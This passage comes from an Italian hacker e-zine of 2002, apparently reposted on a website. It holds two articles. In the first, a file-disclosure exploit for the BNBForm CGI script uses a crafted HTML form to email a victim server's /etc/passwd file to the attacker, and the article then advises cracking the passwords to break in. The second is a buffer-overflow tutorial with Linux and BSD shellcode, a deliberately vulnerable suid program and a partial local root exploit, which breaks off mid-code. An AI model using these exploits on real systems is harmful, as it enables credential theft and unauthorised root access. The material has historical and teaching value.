| bnbform.txt Form Html x utilizzare bnbform.cgi |
| |
| oops.html Pagina HTML per avviso errori |
| |
| SSLNOTES.txt Nota di uso dello script con SSL(https) |
| |
| bnbform.html Semplice Form Html |
| |
| mymessage.baut Messaggio di autoreply |
| |
| thanks.html Pagina HTML x ringraziare dell'uso |
| |
| |
| Iniziamo la configurazione editando il file bnbform.cgi . |
| Prima di tutto andremo a settare delle variabili dello script. |
| |
| Se vogliamo garantire l'utilizzo dello script a soli determinati |
| host, basta decommentare la riga qui di seguito e aggiungere gli host |
| da noi desiderati: |
| |
| #@okaydomains=("http://www.spyrohack.com", "http://www.diom.com"); |
| |
| Un'altra variabile importante è questa: |
| |
| $SMTP_SERVER="localhost"; |
| #$SEND_MAIL="/usr/lib/sendmail -t"; |
| |
| Serve a determinare chi tra il demone SMTP o il prog. sendmail, deve |
| avere l'incarico di mandare la posta. |
| Se non è possibile utilizzare sendmail, non decommentare la riga, |
| altrimenti in caso di possesso di tutti e 2 i programmi, abilitarli |
| entrambi. |
| |
| Ultima variabile importante è: |
| |
| $lockfile="/tmp/bnbform.lck"; |
| |
| Come si può notare, questo file viene creato temporaneamente dallo |
| script, quindi và settata un path dove sia possibile che il cgi |
| scriva. |
| Sicuramente il cgi nn potrà scrivere nella dir. ti temp del server, |
| quindi creare una directory nella vostra home. |
| Esempio: |
| |
| mkdir /home/spyro/tmp |
| |
| Poi, diamogli tutti i permessi: |
| |
| chmod 777 /home/spyro/tmp |
| |
| |
| Perfetto, con quest'ultima variabile, abbiamo completato la |
| configurazione del file bnbform.cgi . |
|

  
|
| Adesso passiamo alla modifica del file bnbform.html |
| Editiamolo con un qualsiasi editor testuale e se necessario, |
| facciamo le seguenti modifiche. |
| |
| <FORM METHOD="POST" ACTION="/cgi-bin/bnbform.cgi"> |
| |
| La stringa qui sopra citata,ha come path di default: |
| |
| /cgi-bin/bnbform.cgi |
| |
| Quindi se noi installiamo lo script in: |
| |
| /cgi-bin/bnbform/bnbform.cgi |
| |
| |
| La stringa diventerà: |
| |
| <FORM METHOD="POST" ACTION="/cgi-bin/bnbform/bnbform.cgi"> |
| |
| Di conseguenza modificare anche i link che dirigono verso le |
| pagine di ringraziamento e errore: |
| |
| VALUE="http://domain.com/test/thanks.html"> |
| |
| VALUE="http://domain.com/test/oops.html"> |
| |
| Diventano: |
| |
| VALUE="http://domain.com/bnbfile/thanks.html"> |
| |
| VALUE="http://domain.com/bnbfile/oops.html"> |
| |
| |
| Infine cambiare anche il valore del sender(submit_to): |
| |
| <INPUT TYPE="HIDDEN" NAME="submit_to" VALUE="yourname@domain.com"> |
| |
| Fine della configurazione, che come si può notare, è molto |
| semplice. |
| |
| |
| INSTALLAZIONE: |
| |
| Anche l'installazione è una fase molto semplice. |
| Copiare i file "bnbform.cgi" e "mymessabe.baud" nella directory |
| |
| /cgi-bin/bnbform |
| |
| Adesso dobbiamo sistemare le pagine html. |
| Andare nella propia directory public_html o html e creare la directory |
| apposita: |
| |
| cd public_html |
| mkdir bnbfile |
| |
| Poi come al solito gli diamo i pieni permessi: |
| |
| chmod 777 bnbfile |
| |
| Entrare in quest'ultima directory e copiare tutti i file .html |
| |
| Stessa procedimento è possibile effettuandolo da ftp. |
| |
| Finita l'installazione,apriamo il nostro broswer e colleghiamoci a: |
| |
| http://nostrosito.it/bnbform.htm |
| |
| altrimenti: |
| |
| http://localhost/bnbform.htm |
| |
| (Dipende da dove avete montano lo script) |
| e controllare se lo script funzioni alla perfezione. |
| Dopo, modificare i campi necessari all'interno del file bnbform.html |
| dove non sarà difficile identificare quali siano obbligatori o meno. |
| |
| |
| FINE INSTALLAZIONE |
| |
| |
| P.s |
| Ricordo che per usufruire di questo script cgi, come tutti del resto, |
| è necessario che sul server sia presente un interprete perl. |
| Per scaricarsi il file .tar o .zip del bnbform,recarsi all'url: |
| |
| http://bignosebird.com/ |
| |
| Più precisamente: |
| |
| http://bignosebird.com/carchive/bnbform.shtml |
| |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| cd /Exploitare_il_bnbform.cgi |
| cat exploitare_il_bnbform.cgi.txt |
| |
| Adesso arriviamo alla fase calda dell'articolo. |
| Ovvero vedremo come sfruttare questo cgi script per avere accesso ad un |
| server. |
| Il bug in questo cgi consente di leggere file arbitrari contenuti nel |
| filesystem. |
| Il problema è che questo form spedisce un'email di risposta all'user |
| con il contenuto di qualsiasi tipo di file contenuto nella variabile |
| dell'autommessage. |
| Questo può essere usato per specificare ogni tipo di file che è letto |
| dall'uid del webserver. |
| Questo bug è stato scovato il 3 Dicembre 1998 da: |
| |
| duke (duke@viper.net.au - duke@el8.org) |
| |
| Nonostante la sua datata scoperta, non è mai stata rilasciata una patch, |
| infatti le versioni buggate sono: |
| |
| |
| Big Nose Bird BNBForm 1.0 |
| Big Nose Bird BNBForm 2.0 |
| Big Nose Bird BNBForm 3.0 |
| |
| Quindi l'unico modo di evitare questo bug, è aggiornare il proprio |
| script alla versione: |
| |
| |
| Big Nose Bird BNBForm 4.0 |
| |
| che è stato rilasciato senza questa vulnerabilità. |
| |
| Qui di seguito riporterò le linee fondamentali del form |
| per exploitare il cgi. |
| Nell'esempio qui citato, cercheremo di farci mandare il file |
| di passwd del sistema. |
| |
| Come detto in precedenza, la variabile automessagge permette la |
| lettura di file, infatti noi settiamo la stringa: |
| |
| <INPUT TYPE="HIDDEN" NAME="automessage" VALUE="/etc/passwd"> |
| |
| per farci mandare il file di passwd. |
| |
| Altra cosa importante, è la prima stringa, dove si cita l'host( o l'ip) |
| e il precorso del bnbform.cgi: |
| |
| <FORM METHOD="POST" ACTION="http://www.victim.com/cgi-bin/bnbform.cgi"> |
| |
| |
| Codice da salvare in un file .htm : |
| |
| |
| |
| <FORM METHOD="POST" ACTION="http://www.victim.com/cgi-bin/bnbform.cgi"> |
| <PRE> |
| FIELDS MARKED WITH * ARE REQUIRED! |
| Your Name:* <INPUT TYPE="TEXT" NAME="name" SIZE=35 MAXLENGTH=50> |
| E-Mail Address:* <INPUT TYPE="TEXT" NAME="submit_by" SIZE=35 |
| MAXLENGTH=50> |
| <INPUT TYPE="submit" VALUE="Send Mail!"> |
| <INPUT TYPE="reset" VALUE=" Clear-Form"> |
| </pre> |
| |
| <!-- SCRIPT CONFIGURATION SECTION --> |
| <INPUT TYPE="HIDDEN" NAME="required" VALUE="name"> |
| <INPUT TYPE="HIDDEN" NAME="data_order" VALUE="name"> |
| <INPUT TYPE="HIDDEN" NAME="autorespond" VALUE="yes"> |
| <INPUT TYPE="HIDDEN" NAME="automessage" VALUE="/etc/passwd"> |
| <INPUT TYPE="HIDDEN" NAME="form_id" VALUE="My Test Form"> |
| <INPUT TYPE="HIDDEN" NAME="ok_url" VALUE="http://127.0.0.1/thanks.html"> |
| <INPUT TYPE="HIDDEN" NAME="not_ok_url" |
| VALUE="http://127.0.0.1/oops.html"> |
| <!-- END OF SCRIPT CONFIGURATION SECTION --> |
| </form> |
| |
| |
| Appena salvato il file,eseguiamolo. |
| Nei 2 box,come richiesto metteremo: |
| |
| Un nome a caso,e l'indirizzo e-mail da dove vogliamo recapitare il |
| file di passwd. |
| Poi premiamo il bottone "Send Mail!" |
| Se il sito attaccato ci risponderà con la pagina: thanks.html ,l'hack |
| è andato a buon fine, altrimenti c'è qualcosa che non và: sul server o |
| sulla vostra pagina html. |
| Dopo che ci apparirà la pagina thanks.html, dirigiamoci subito verso |
| la nostra mail e leggiamo il file di passwd che ci arriverà in |
| allegato. |
| |
| Adesso che abbiamo il file di passwd, lo diamo in pasto ad un password |
| cracker per l'agloritmo DES, come john the ripper e aspettiamo che |
| trovi le pass ai suoi rispettivi login. |
| Trovate le pass, avrete accesso al server,tramite i suoi relativi |
| demoni attivi e abilitati all'uso(ammesso che ci siano). |
| |
| Anche x oggi abbiamo finito, spero abbiate imparato qualcosa di nuovo, |
| altrimenti è stato solo un ripasso(che nn fa mai male). |
| |
| Un saluto dal vostro draghetto |
| |
| SPYRO |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| bash# cd /Ringraziamenti_e_saluti |
| bash# cat ringraziamenti_e_saluti.txt |
| |
| |
| Saluti: Bakunin(Mio grande maestro),AtlaWare,mR_bIs0n,Spawn, |
| BsTHaCk,Anubi ,D4rkSt4r ,jex,Silent,dibbellas,^maga^, |
| Radion,Warning,Terror,Gouranga,Blender,Prodigy, |
| Hiolz[83],Memorik,Hedo, |
| MrWolf,Screen_it,zapotecz, |
| Goony,Scire,Sulex,Floppino,Grungio,Fratak, |
| McGiver,AntiS,gouranga,LizDay,satz,cancerman, |
| ULCC,Spider2k,Ice'St0rm, |
| e tutti quelli che ho dimenticato di #phreak.it(scusatemi). |
| |
| I miei amici di azzurranet, in particolare: |
| [Net_Digger],^stan^,HomePack,nix,Resinaro |
| |
| Poi saluto anche tutti quelli dei tankcommandos,della hrn,pbk, |
| Maphias0ft, gli Spippolatori,in particolare: |
| il grande Master,Chrome,Brigante,RigorMortem,Vinx2o2o,fen0x, |
| DARKMAN,risk e tutti quelli che mi vogliono bene :) |
| |
| |
| Fuck to: MMMMM un gran vaff. all'amicizia fra ragazzi e ragazze!! |
| |
| |
| -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- |
| |
| |
| |
| bash# cat end.c |
| |
| |
| |
| #include <stdio.h> |
| |
| int main(void){ |
| |
| printf("Anche per oggi è tutto dal vostro SPYRO\n"); |
| |
| printf("Ciaoooooooooooo\n"); |
| |
| } |
| |
| |
| bash# halt |
| |
| ATTENDERE:ARRESTO DEL SISTEMA IN CORSO...... |
| |
| ORA SI PUO' SPEGNERE IL COMPUTER! |
| |
| ahahaha scherzo ;) |
| |
| |
| Url: http://www.spyrohack.com |
| |
| E-mail: spyro2600[at]yahoo.it |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L'ANG0L0 DEGLi ExPL0iT #08 - 01/11/2002 |
| LA G0CCiA CHE FA TRAB0CCARE iL BUFFER [e4m] 0x10/0x1A |
+--------------------------------------------------------------------------+
| + La goccia che fa traboccare il buffer + |
| |
| (versione 2 riveduta , agiornata e corretta ..!) |
| |
| Written by e4m - e4m@autistici.org |
| Two tux security portal - www.twotux.org |
| @ irc.azzurra.org - e4m |
| ================================================================= |
| |
| Sotto menù dell'articolo: |
| ----------------------- |
| [*]- Intro |
| | |
| \-> Disclaimer |
| | |
| \-> Focus Sullo Stack |
| | |
| \-> Intro All'Overflow |
| |
| [*]- Application |
| | |
| \-> Il nostro primo "programmillo" |
| | |
| \-> ShellCoding (..proviamo??!) |
| | |
| \-> Avanzate Di Dumping |
| | |
| \-> Exploiting Remote |
| |
| [*]- End |
| | |
| \-> Greetz & Conclusion |
| |
| |
| ================================================================= |
| |
| Disclaimer |
| >>>>>>>>>>>>>>>>> |
| |
| Salve una piccola disclaimer fà sempre bene! Prima di iniziare vi |
| dico di NON APPLICARE ASSOLUTAMENTE le informazione che trovate |
| scritte in questo articolo. L'autore pertanto fornisce i sorgenti |
| scritti da lui sotto licenza GPL! Assolutamente modificabili a |
| patto che non siano usati per scopi LOSCHI. Sono pertanto OPEN- |
| SOURCE. Invito a tutti i lettori del precendente articolo sulla |
| crittografia apparso su OQ, a leggere il forum di ONDAQUADRA |
| il POST "Scuse" per aver pubblicato sorgenti di autore incognito |
| tutt'ora sul testo [..] Infine l'autore protegge la sua privacy |
| ai sensi dell'articolo 21 della costituzione ITALIANA. |
| |
| - "Tutti hanno diritto di manifestare liberamente il proprio |
| pensiero con la parola, lo scritto e ogni altro mezzo di diffusione. - |
| |
| Vi auguro una buona lettura ;) |
| =================================================================== |
| |
| Focus sullo Stack |
| >>>>>>>>>>>>>>>>>> |
| |
| Questa volta sono qui per illustrarvi dettagliatamente come riuscire |
| a manipolare un programma. Nel nostro caso non useremo exploit |
| precompilati e roba varia già esistente in rete,bensi' lo scriveremo |
| noi con un po (tanta) di pasienza.... |
| Tutto qui? eh no, miei cari non e' facilissimo riuscire a fregare |
| un programma attraverso buffer owerflow. |
| Ultimamente mi sono trovato ad avere a che fare con owerflow di un |
| programma che sicuramente avranno fregato altri 100 mila reverser... |
| ma non si sa mai... noi riusciremo ad usare un metodo alternativo. |
| Uno special greetz va a andreageddon che praticamente è il mio tutor |
| personale :P . Se vi sentite pronti di iniziare vi illustrero' innanzi |
| tutto come funge un buffer,per chi di assembly e company non ne fa |
| uso comune troverà qui scritte tutte le informazioni necessarie.: |
| |
| |Higt addresses |
| | |
| | +--------+ |
| | | DatA | |
| |StaCk | pUsched| |
| |GrOwS +--------+ <---(SP) sTAck PoInTeR |
| | | | |
| | | FreE | |
| | | SpAcE | |
| | | | |
| | +--------+ <---(SS) stAcK sEgMEnT |
| | |
| V Low addresses |
| |
| Questo mio disegnino e' famoso, ma molto utile. Lo sapevate che |
| esiste una speciale area di memoria, denominata stack? Nella quale |
| area possono essere salvati e recuperati i valori desiderati. |
| Quest'area di memoria e' organizzata come una pila di piatti. |
| L'ultimo che viene messo e' il primo ad essere prelevato. |
| Questo tipo di organizzazione e' denominata Last On First Off (LOFO), |
| oppure Last In First Out (LIFO). Faremo uso delle istruzioni |
| PUSH & POP rispettivamente inseriscono e prelevano un determinato |
| dato dallo stack. Che cacchio centra tuto cio'? ..Vedrete! .. |
| Via via che nuovi dati sono posti nello stack, questo cresce |
| verso il basso. Come si vede dalla "
figura", lo stack ha inizio ad un |
| indirizzo alto e |
| cresce verso il basso.... Ancora non avete le idee chiare? |
| Eh,se mettessimo piu' dati un array,facendo owerflov_are = trabboccare |
| dati in eccesso? |
| Il trabboccamento avviene piu o meno cosi': |
| |
| buffer sfp ret |
| <--- [BBBBBBBBBB][xxxx][xxxx] |
| |
| Questa e' una parte dello stack frame. |
| Sostanzialmente abbiamo 10 bytes di buffer, 4 bytes dello Stack Frame |
| Pointer e altri 4 di Indirizzo di ritorno. Sovrascrittura dello spazio |
| dello stack non appartentente a quell'array. Quando termina una |
| funzione |
| il programma torna al "
ret", invece di fralo ritornare dove vuole lui e |
| lo facessimo tornare dove vogliamo noi?...ad esempio reindirizzandolo |
| ad |
| una shellcode :) Bhe.. se il programma e' di proprieta' root (uid 0) e |
| suid +s (bit suiddato!)..possiamo "
fregarlo". Ora ci tocca conoscere a |
| fondo il nostro amico buffer se vogliamo reversarlo dobbiamo conoscere |
| gli indirizzi necessari per iniettare la nostra shellcode |
| (poi vedremo..!). |
| Facciamo il caso che 0xbfbffbc8 fosse l'offset dello stack, |
| se scrivessimo un programma ,qualsiasi variabile dichiarata |
| sarebbe allocata nell'indirizzo di memoria immediatamente |
| successivo a questo indirizzo. Con un po' di tentativi assistiti |
| dalla fortuna e' cosi' possibile trovare l'indirizzo di un buffer |
| all'interno della memoria. Infatti c'e' da dire che qualsiasi |
| programma inserisce il suo record di attivazione nel buffer li' |
| oltre lui il ret e lo sfp troviamo pure le variabili del programma. |
| Questa tabella puo'esservi utile: |
| ===================================================================== |
| |
| |
| |
| Intro all'overflow |
| >>>>>>>>>>>>>>>>>>> |
| |
| Tutti, anche i meno esperti sapranno come si dividono le variabile, ma |
| non si sa mai..! Ecco qui , fate molta attenzione: |
| |
| * Char |
| Carattere (esempio. a) -> Questo Ci servirà |
| |
| * Int |
| Numero intero (esempio. 3) -> Idem per questo! |
| |
| * Short |
| Numero intero corto |
| |
| * Long |
| Numero intero lungo |
| |
| * Float |
| Numero reale "
corto" |
| |
| * Double |
| Numero reale "
lungo" |
| |
| |
| Bene idem con array e puntatori comunque è bene ridarci una |
| sbirciatina: |
| Un array e' una struttura contenente una successione di caratteri |
| oppure di numeri. |
| |
| char rotfl[10]="
abcdefghil" (esempio incorretto) |
| |
| per chi non lo sapesse un array viene specificato un numero più grande |
| di quello che |
| si vuole inserire dentro. Esempio: |
| |
| Stringa da mettere in array: rotfl (5caratteri) |
| |
| char rotfl[6]="
rotfl" (notete quel 6 che sta per 5) |
| |
| L'ultimo carattere non conta! Potremmo benissimo strutturare l'array |
| ROTFL così: |
| |
| rotfl[0]='r'; |
| rotfl[1]='o'; |
| rotfl[2]='t'; |
| rotfl[3]='f'; |
| rotfl[4]='l'; |
| |
| Ora torna, il fatto dei 5 caratteri infatti l'ultimo e'0 ! |
| |
| IL problema ora della sicurezza informatica può essere così banale! |
| State a sentire: |
| Un array non e' dinamico , ossia se è stato dichiarato 5 non potrà |
| contenere 6 o 7. |
| Si potrebbe gestire l'array come stringa in questo modo "
giocando con |
| la |
| memoria". |
| Vediamo ora come si gestiscono gli array (tramite la malloc) |
| che ci servirà successivamente nei programmi che scriveremo: |
| Qui riporto una parte di manuale "
man malloc" chè è sacro e utilissimo: |
| |
| |
| |
| NAME |
| calloc, malloc, free, realloc - Allocate and free dynamic |
| memory |
| |
| SYNOPSIS |
| #include <stdlib.h> |
| |
| void *calloc(size_t nmemb, size_t size); |
| void *malloc(size_t size); |
| void free(void *ptr); |
| void *realloc(void *ptr, size_t size); |
| |
| DESCRIPTION |
| calloc() allocates memory for an array of nmemb elements |
| of size bytes each and returns a pointer to the allocated |
| memory. The memory is set to zero. |
| |
| malloc() allocates size bytes and returns a pointer to the |
| allocated memory. The memory is not cleared. |
| |
| free() frees the memory space pointed to by ptr, which |
| |
| Cosa altro c'e' da capire grazie linux e il tuo man! |
| |
| char *vettore; |
| vettore = malloc(strlen("
ROTFL!")); /* copia nel vettore!*/ |
| vprintf(vettore,"
%s",); |
| printf("
%s\n",vettore); |
| free(vettore); /* libera il vettore*/ |
| |
| Avremmo : ROTFL! |
| |
| |
| Se non volete fare la fine dei soliti programmatori inesperi che |
| combinano casini |
| liberate!! con free() la memoria .. a furia di sovraccaricarla potrebbe |
| partirvi tutto :) |
| Revisione veloce alle funzioni applicative su stringhe array e |
| compagnia |
| bella :P |
| |
| void strcpy(char *dest, char *orig) /* Copia il char da "
origine" a |
| "
destinazione" */ |
| /* lo useremo bene dopo... */ |
| |
| int strlen(char *vettore) |
| /* Restituisce la lunghezza in caratteri del vettore */ |
| /* futile per i nostri scopi.. */ |
| |
| int sizeof(void *vettore) /* Restituisce la grandezza del vettore */ |
| /*carino calcola : 1byte x numero degli elementi in array .. ma |
| anchesso futile!*/ |
| |
| |
| Ora osservate questo esempio di codice C, è logicamente tutto |
| illustrato |
| e commentato: |
| |
| |
| void pluto(int a, char b) { |
| /* un certo void dove vengono dichiarati */ |
| /* (integer:a) e (character:b)*/ |
| |
| int i; |
| |
| char rotfl[10]; |
| /* questo array è pericoloso ..! */ |
| |
| ... |
| |
| } |
| |
| |
| |
| [Half of buffer] |
| array--> | | <--variabili |
| rotfl i psp ret a b |
| |
| Low Addreses [ ][ ][ ][ ][ ][ ] Hight |
| adresses |
| |
| Addreses [EEEEEEEEEEEE][EEEE][FFFF][FFFF][FFFF][FFFF] |
| |
| Addreses of memory 0123456789AB CDEF 0123 4567 89AB CDEF |
| |
| |
| Okkio: da notare rotfl[] e' dichiarato di 10 byte eppure ne occupa 12. |
| Ponete attenzione a questa sovrascrittura (ometto schemino complesso): |
| |
| void rotfl(int a, char b) { |
| |
| int i; |
| |
| char parola[10]; |
| |
| char buffer[50] = "
aa"; |
| |
| |
| |
| strcpy(parola, buffer); /*strcpy è stringcopy infatti */ |
| /* copia il valore del buffer in parola*/ |
| |
| } |
| |
| |
| rotfl i psp ret a b |
| |
| Low Addreses [aaaaaaaaaaXX][aaaa][aaaa][aaaa][aaaa][aaaa] Hight |
| adresses |
| sovrascrittura aree (SIGSEGV)----------> |
| |
| |
| Avremo un bell'owerflow dei dati,infatti "
a" invadera' altri spazi, |
| la macchina vi restituira' un "
Segmentation Fault" . nel nostro caso |
| rotf[[] cerchera' di far saltare all'indirizzo (ret) "
a" che |
| in hex /0x41h. Logicamente lamacchina per quanto possa essere |
| premurosa a saltare al return non |
| riuscirà ripareare i danni che causerebbe una shellcode [..] |
| |
| Ora se noi a posto di quel ret un indirizzo valido, una shellcode? |
| Il flusso riprende al ret e se ret=shellcode noi siamo root,un gioco di |
| parole :P |
| |
| Il buffer abbiamo capito come owerflowarlo.Ma dobbiamo capire meglio la |
| funzione dei nop.. in pratica e' un istruzione /x90 assembly che non fa |
| altro che saltare a quella successiva,proprio quello che ci serviva per |
| trovare l'indirizzo del buffer. Bene noi dobbiamo effettuare un salto |
| all'inizio del buffer del nostro programma vulnerabile per eseguire lo |
| shellcode, ma non sappiamo esattamente dove saltare. Ma se i primi 200 |
| bytes del buffer fossero NOP prima dello shellcode ? Allora potremmo |
| saltare ad ogni posizione nel buffer |
| finche' non viene raggiunto ed eseguito lo shellcode! Con questo |
| sistema abbiamo solo bisogno di sapere in linee generali dove e' il |
| buffer, per raggiungere lo |
| stack pointer e sottrargli un offset con un incremento di 30 o 40, |
| finche' non raggiungiamo un NOP nel buffer. W i nops :) |
| Introduciamo noi un buffer nel codice dell'exploit di 600 bytes e una |
| linea di comando che ci consente di specificare l'offset dello stack |
| pointer.: |
| |
| Faccio un ultimo esempio prima di passare a scrivere l'exploit: |
| |
| |
| |
| void main() { |
| |
| int *ret; /* supponiamo che il ret sua integer.. */ |
| |
| char rotfl[] = "
\x90\x90\x90\x90\x90\x90\xb8\x01\x00\x00\x00" |
| |
| "
\xbb\x00\x00\x00\x00\xcd\x80"; |
| |
| /* ..che abbiamo una lista stringa in array con quella shellcode */ |
| |
| |
| |
| ret = (int *)&ret + 2; /* leggi sotto!*/ |
| |
| *ret = (int)rotfl; |
| |
| } |
| |
| |
| |
| |
| Addreses DDEEEEEEEEEEEEEEEEFFFF FFFF FFFF FFFF |
| |
| Addreses of memory EF0123456789ABCDEF0123 4567 89AB CDEF |
| |
| rotfl *ret sfp ret |
| |
| <------ [ cagata-di-codice-hex ][ ][ ][0xDE] |
| |
| <-- (ret) Saltera' nell'array "
rotfl" |
| |
| |
| ====================================================================== |
| |
| Il nostro primo "
programmillo" |
| >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> |
| |
| |
| "
Vedo" (spero!!) che ora avete capito.. (che imbecille che sono :P), |
| *ret = (int)rotfl; cambia il return address all'indirizzo di rotfl[] |
| Ora ci tocca scoprire l'indirizzo dello stack pointer, facilissimo, |
| approfittiamo del fatto che lo stack pointer e' nel (registro eax), |
| spostandolo nel buffer di ritorno (registro esp),avvalendoci della |
| funzione Sp() ... |
| |
| |
| unsigned long sp(void) { |
| __asm__("
movl %esp, %eax"); } |
| |
| /* _asm_ esegue in C un istruzioen ASM |
| * |
| * movl %esp , %eax |
| * |
| * equivale a: |
| * |
| * mov eax , esp |
| * |
| */ |
| |
| void main(void) { |
| printf("
0x%x\n", sp()); |
| |
| /* Questo è il main la la parte principale |
| * pove in pratica viente spostato con SP() |
| * l'indirizzo importante , logicamnete |
| * printf() lo stampa :PP ! |
| */ |
| |
| } |
| |
| |
| Proviamo pure : |
| |
| [e4m@twotux e4m]$ gcc -o stack stack.c |
| [e4m@twotux e4m]$ ./stack |
| [e4m@twotux e4m] 0xbfbffbc4 <-- esempio :) |
| [e4m@twotux e4m]$ |
| |
| |
| Ora vedremo come un semplice ma allo stesso tempo RIPETITIVO! |
| errore di programmazione in questo esempio possa darci root, lo |
| chiameremovulnerable e setteremo : < chmod +s vulnerable > |
| mentre siamo root da bravi lameri :) ..: |
| |
| |
| /* Questo e' un programma vulnerabile, per testare l'exploit */ |
| |
| int main(int argc, char *argv[]) { |
| char buffer[512]; /* mhhh...! */ |
| if(argc>=2) strcpy(buffer, argv[1]); /* deheheh :) */ |
| return 0; |
| } |
| |
| Ed ora l'apposito exploit multiargomentato e commentato :) |
| |
| |
| ------------------------8<--CUT HERE--8<------------------------------- |
| - |
| |
| |
| /* Smasher Overflow Example. |
| * Copy Left By e4m (opensource) |
| * |
| * Compatible (FreeBsd & Linux) |
| * This Programm profit of bit suid |
| * of bugged example! You must use |
| * ONLY to understand BufferOverflow |
| * most popular of bug :P |
| * |
| * |
| * e4m@bitchx.it |
| * www.twotux.org |
| * |
| */ |
| |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| |
| #define BUFFERSIZE 612 |
| /* Array buffer, di 512 ossia buffer+100 bytes*/ |
| |
| /* shellcode per freebsd (*bsd ?) */ |
| char bsdshell[] = |
| "
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" |
| "
\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" |
| "
\xb0\x3b\x50\xcd\x80"; |
| |
| /* linux x86 shellcode written by aleph1 !! */ |
| char lunixshell[] = |
| "
\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x$" |
| "
\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\x$" |
| "
\x80\xe8\xde\xff\xff\xff/bin/sh"; |
| |
| /* ..eccoti una shell */ |
| |
| |
| |
| unsigned long sp(void) |
| { |
| __asm__("
movl %esp, %eax"); |
| |
| /* istruzione assembly in array C , |
| /* utilizzata per il valore dello stack pointer (registro eax) */ |
| /* nel buffer di ritorno (registro esp) */ |
| |
| } |
| |
| void usage(char *cmd) { |
| printf("
\nSemblice Owerflow di vulnerable \n"); |
| /* C'e' bisogno di commento? :P */ |
| printf("
\nCoded by e4m thx to MASTER aleph1 \n"); |
| printf("
\nSintassi: %s <offset> <os>\n\n", cmd); |
| /* Sinstassi d'utilizzo*/ |
| printf("
OS types are: 1. FreeBSD (*bsd?) 2. Linux\n\n"); |
| /* scegli l'os */ |
| exit(-1); } |
| |
| int main(int argc, char *argv[]) |
| { |
| |
| int i, offset, os; |
| /* variabili , offset */ |
| long esp, ret, *addr_ptr; |
| /* retun address , esp in cui e' contenuto */ |
| /*l'indirizzo dello stackpointer*/ |
| char *buffer, *ptr, *osptr; |
| /* buffer e ptr */ |
| if(argc<3) usage(argv[0]); |
| /* chiudo il prog. se non viene specificato l'offset */ |
| |
| /* specifico le variabili */ |
| |
| offset = atoi(argv[1]); |
| /* prendo l'offset che tu hai specificato */ |
| esp = sp(); |
| /* vedo l'indirizzo dello stack pointer */ |
| ret = esp-offset; |
| /* sp - offset = return address :) */ |
| os = atoi(argv[2]); |
| /* vedo l'os che hai scelto */ |
| |
| |
| if(os<1 || os>2) usage(argv[0]); |
| |
| /* Resoconto generale */ |
| printf("
Stack pointer: 0x%x\n", esp); |
| /* 1. stackpointer add.*/ |
| printf("
Offset: 0x%x\n", offset); |
| /* 2. offset */ |
| printf("
Return addr: 0x%x\n", ret); |
| /* retun address */ |
| |
| /* allocazione di memoria per il buffer */ |
| if(!(buffer = malloc(BUFFERSIZE))) { |
| /* confronta il buffer con malloc , vedo se e' heap*/ |
| printf("
Couldn't allocate memory.\n"); |
| /* errore */ |
| exit(-1); |
| /* on error esce */ |
| } |
| |
|

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT